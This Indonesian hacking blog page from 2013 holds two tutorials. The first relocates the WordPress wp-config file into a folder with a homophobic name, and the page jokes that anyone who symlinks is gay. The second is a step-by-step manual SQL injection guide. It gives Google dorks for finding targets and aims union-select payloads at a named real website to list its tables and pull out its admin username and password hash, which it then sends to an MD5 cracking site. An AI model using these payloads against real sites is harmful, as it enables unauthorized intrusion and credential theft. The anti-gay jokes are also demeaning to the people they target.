Tuesday 12 November 2013

Memanipulasi Wp-Config di Wordpress

,
Oke , saya akan bagi bagi tutorial lagi nih :D

Langsung Tkp :

1. Buat Folder bernama misalkan homo .
2. Jika sudah copykan wp-config kalian ke folder homo kemudian rename menjadi gay.php
3. Kemudian buka dulu di address , saya disini mengetes di localhost, jadi :
  • http://localhost/wordpress/homo/gay.php
4. Kemudian liat disana muncul error , seperti ini :
  • Warning: require_once(C:\xampp\htdocs\wordpress\homo/wp-settings.php) [function.require-once]: failed to open stream: No such file or directory in C:\xampp\htdocs\wordpress\homo\gay.php on line 90

    Fatal error: require_once() [function.require]: Failed opening required 'C:\xampp\htdocs\wordpress\homo/wp-settings.php' (include_path='.;\xampp\php\PEAR') in C:\xampp\htdocs\wordpress\homo\gay.php on line 90

Lihat Kata ini : 
  • C:\xampp\htdocs\wordpress\homo\gay.php on line 90
Buka gay.php melalui notepad++ dan lihat di Line 90.
Kalian rubah require_once(ABSPATH . 'wp-settings.php'); menjadi require_once(ABSPATH . '../wp-settings.php');

5. Refresh, dan Lihat terdapat error lagi, layaknya :
  • Warning: require(C:\xampp\htdocs\wordpress\homo/wp-includes/load.php) [function.require]: failed to open stream: No such file or directory in C:\xampp\htdocs\wordpress\wp-settings.php on line 21

    Fatal error: require() [function.require]: Failed opening required 'C:\xampp\htdocs\wordpress\homo/wp-includes/load.php' (include_path='.;\xampp\php\PEAR') in C:\xampp\htdocs\wordpress\wp-settings.php on line 21
     
Kalian Copy semua File wp-includes or Copy langsung saja dirnya ke dir homo.

6. Refresh kembali, dan ternyata blank. Semua dir homo kalian atur sendiri untuk mengamankannya

Belum selsai, kalian manipulasi dulu wp-config yang ada di home kalian , layaknya seperti ini saya manipulasi:
  • <?php
    /**
    * The base configurations of the WordPress.
    *
    * This file has the following configurations: MySQL settings, Table Prefix,
    * Secret Keys, WordPress Language, and ABSPATH. You can find more information
    * by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
    * wp-config.php} Codex page. You can get the MySQL settings from your web host.
    *
    * This file is used by the wp-config.php creation script during the
    * installation. You don't have to use the web site, you can just copy this file
    * to "wp-config.php" and fill in the values.
    *
    * @package WordPress
    */

    // ** MySQL settings - You can get this info from your web host ** //
    /** The name of the database for WordPress */
    define('DB_NAME', 'si_homo');

    /** MySQL database username */
    define('DB_USER', 'homo_kao');

    /** MySQL database password */
    define('DB_PASSWORD', 'gay_dasar_loe');

    /** MySQL hostname */
    define('DB_HOST', 'localhost');

    /** Database Charset to use in creating database tables. */
    define('DB_CHARSET', 'utf8');

    /** The Database Collate type. Don't change this if in doubt. */
    define('DB_COLLATE', '');

    /**#@+
    * Authentication Unique Keys and Salts.
    *
    * Change these to different unique phrases!
    * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
    * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
    *
    * @since 2.6.0
    */
    define('AUTH_KEY',         'c3lVn iu`j#*x_nX9K1N*X)%#Mj;UPZ+@Ty/M/f8 3Y~c{Aa%Yl]uD]&/|H*..i4');
    define('SECURE_AUTH_KEY',  'Y<dauHGa6X?Ln*+_^_Q9}2apqf=+q+L0$KuS0?x;~ RI,-sTqQh^_M8$wmo@#[S-');
    define('LOGGED_IN_KEY',    'ccrz>RKwh:n%.X%R32y2rgPY|y)3.Md(J.}p!o}<>sLeJ9oREEG2HSXO]4z5:Ygg');
    define('NONCE_KEY',        'g(V<~wN{Tr_A^@K)tr)wkh-Lu~4[lQmY>D<P|>=[H#X,1ll!$J~YBsl$Id[Rg&%]');
    define('AUTH_SALT',        'yRYaDcOM5m)el$U,6(:/3@~j}%`bQ?fC mwZE1$XM3:PSXv+Tv@{Q;)A6c-DrHl ');
    define('SECURE_AUTH_SALT', 'W.*K>:H.1&q<*dW5jNo+~K}+vQqpp&u_tuL!voXXl~gc[.T<Ff9JK;Dp-b4ng^&|');
    define('LOGGED_IN_SALT',   '}@mJlO,SO~%T?.~R>!=t_u:T_^0lp4Qy, b_}(D:os>v2uEyhRPxL-D?&TQk21]+');
    define('NONCE_SALT',       ';99){buN>>{lslBg-1Pm&r&g?N/O_;R7C0u_EXBtuxYfzBFs38YPSG#S>VU,SL5E');

    /**#@-*/

    /**
    * WordPress Database Table prefix.
    *
    * You can have multiple installations in one database if you give each a unique
    * prefix. Only numbers, letters, and underscores please!
    */
    $table_prefix  = 'drom_';

    /**
    * WordPress Localized Language, defaults to English.
    *
    * Change this to localize WordPress. A corresponding MO file for the chosen
    * language must be installed to wp-content/languages. For example, install
    * de_DE.mo to wp-content/languages and set WPLANG to 'de_DE' to enable German
    * language support.
    */
    define('WPLANG', '');

    /**
    * For developers: WordPress debugging mode.
    *
    * Change this to true to enable the display of notices during development.
    * It is strongly recommended that plugin and theme developers use WP_DEBUG
    * in their development environments.
    */
    define('WP_DEBUG', false);

    /* That's all, stop editing! Happy blogging. */

    /** Absolute path to the WordPress directory. */
    if ( !defined('ABSPATH') )
        define('ABSPATH', dirname(__FILE__) . '/');

    /** Sets up WordPress vars and included files. */
    require_once(ABSPATH . 'wp-settings.php');
Kemudian Save.

7. Refresh, dan lihat , jika terjadi error seperti ini :
Error establishing a database connection
hmm,, belum terkoneksi. tenang kalian buka File wp-load.php di notepad ++, kemudian lihat :

- Line 26 : ada wp-config.php rubah menjadi homo/gay.php
- Line 29 : ada wp-config.php rubah menjadi homo/gay.php
- Line 31 : ada wp-config.php rubah menjadi homo/gay.php
- Line 34 : ada wp-config.php rubah menjadi homo/gay.php

Kemudian Save , dan lihat hasilnya.
Wew masih error, layaknya :
  • Warning: require_once(C:\xampp\htdocs\wordpress/../wp-settings.php) [function.require-once]: failed to open stream: No such file or directory in C:\xampp\htdocs\wordpress\homo\gay.php on line 90

    Fatal error: require_once() [function.require]: Failed opening required 'C:\xampp\htdocs\wordpress/../wp-settings.php' (include_path='.;\xampp\php\PEAR') in C:\xampp\htdocs\wordpress\homo\gay.php on line 90
    Kalian buka file gay.php kemudian ke Line 90 , rubah require_once(ABSPATH . '../wp-settings.php'); menjadi require_once(ABSPATH . './wp-settings.php');
    Kemudian Save, dan Lihat hasilnya.
    dan ternyata berhasil normal kembali, dan jika ada yang symlink. hmmm pasti dia homo .. Wkwkwkwk

    Content editor : Muhammad Taregh Azzis
    Sumber : Hacker Newbie (Syndrom2211)
    Syndrom2211

    Belajar SQLI Manual

    ,
    Oke saya akan memberikan Tutorial tentang SQLI Secara Manual .
    Siapkan Google Dork terlebih dahulu.
    Oke , saya sudah mempersiapkan Google Dorknya untuk Anda
    1. inurl:index.php?id=
    2. inurl:article.php?ID=
    3. inurl:games.php?id=
    4. inurl:newsDetail.php?id=
    5. inurl:gallery.php?id=
    6. inurl:products-details.php?cid=
    Saya menggunakan dork inurl:products-details.php?cid= dan saya sudah mendapatkan target untuk sebagai bahan percobaan , ini dia targetnya http://www.speedwerx.com.au/products-details.php?cid=&pid=12
    Untuk mengecek website itu mempunyai bug atau tidak dengan cara memasukan ( ' )
    Contohnya : http://www.speedwerx.com.au/products-details.php?cid=&pid=12' 
    Ternyata website itu mempunyai BUG , muncul pesan error seperti ini :
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND f.id = a.user_id' at line 3

    Tapi untuk target kali ini tidak muncul pesan tersebut .

    Setelah kita menemukan error tadi, langkah selanjutnya kita harus mencari columnnya.
    Gunakan perintah "+order+by+1--"
    contoh : http://www.speedwerx.com.au/products-details.php?cid=&pid=12+order+by+1--

    Pertama kita mulai dengan angka 1 , dan seterusnya sampai kita menemukan error lagi
    http://www.speedwerx.com.au/products-details.php?cid=&pid=12+order+by+8--

    Pada angka 8 , muncul pesan error : "Invalid SQL: SELECT * FROM article WHERE id = 12 order by 8-- AND status = 1
    MySQL Error: 1054 (Unknown column '8' in 'order clause')
    Session halted."


    Jadi angka yang diambil adalah 8-1 = 7 , berarti jumlah column yang kita ambil adalah 7. Selanjutnya kita akan mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah [union+all+select]
    Contoh :
    http://www.speedwerx.com.au/products-details.php?cid=&pid=-12 union all select 1,2,3,4,5,6,7--

    Tambahkan tanda ( - ) didepan angka cid , jadi seperti ini -12

    Misalnya muncul "angka ajaib" : 1 atau 2 atau 3. Kita pilih salah satunya saja. Kebetulan pada target tersebut munculnya angka 4 saja.


    Selanjutnya kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 4 (Angka Ajaib)
    Contoh :
    http://www.speedwerx.com.au/products-details.php?cid=&pid=-12 union all select 1,2,3,version(),5,6,7--

    Waahh , muncul tulisan berikut : 5.5.32-31.0 (Versi Database MySQL)

    ternyata versi 5, versi 5 lebih mudah. Kalau targetnya mempunyai database MySQL versi 4, yang kita lakukan yaitu menebak-nebak tablenya.
    Selanjutnya kita akan mencari table-nya dengan perintah [group_concat(table_name)] pada salah satu angka ajaib. Dan tambahkan [+from+information_schema.tables+where+table_schema=database()--] di belakang angka 12
    Nah ini contohnya :

    Akan muncul nama-nama tablenya :
    tbl_accesslevels,tbl_admin,tbl_category,tbl_country,tbl_image,(masih banyak lagi)

    Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password admin, kita ambil tbl_admin
    sebelumnya kata "tbl_admin" tersebut kita convert dulu ke HEXA agar dapat dibaca oleh SQL di sini : http://snarkles.net/scripts/sneak/sneak.php

    Hasilnya : 74626c5f61646d696e

    Perintah selanjutnya adalah [group_concat(column_name)] pada angka ajaib dan [+from+information_schema.columns+where+table_name=0xHEXA--] di akhir URL.
    Ganti HEXA dengan hasil convert tadi yaitu : 74626c5f61646d696e tambahkan 0x didepan HEXA agar server dapat mengetahui bahwa itu telah diconvert ke HEXA
    Seperti ini :
    http://www.speedwerx.com.au/products-details.php?cid=&pid=-12 union all select 1,2,3,group_concat(column_name),5,6,7 from information_schema.columns where table_name=0x74626c5f61646d696e--

    Taraa,muncul column :
    id,username,password

    Untuk melihat isi dari column tersebut gunakan perintah [group_concat(column5,0x3a,column6)] pada angka ajaib 5 dan [+from+NAMATABLE--] pada akhir URL.
    Ganti column5 dengan "username" dan column6 dengan "password" 0x3a adalah tanda titik dua ( : ) yang telah diconvert ke HEXA. NAMA TABLE diganti dengan "tbl_admin" untuk mengambil informasi dari table yang bernama "tbl_admin"
    Seperti ini :
    http://www.speedwerx.com.au/products-details.php?cid=&pid=-12 union all select 1,2,3,group_concat(username,0x3a,password),5,6,7 from tbl_admin--

    We O We :D , Dapat hasilnya yaitu : admin:64eeb794076e6f2ba7436430ca09d157

    Password tersebut masih berbentuk hash dan harus di decrypt dulu. Kita bisa decrypt di http://md5decrypter.co.uk


    Content editor : Muhammad Taregh Azzis
    Sumber : http://cahmuncar.blogspot.com/2013/05/tutorial-sql-injection-secara-manual.html

     

    FurutaWashuu Blog Copyright © 2011 -- Template created by O Pregador -- Powered by Blogger Templates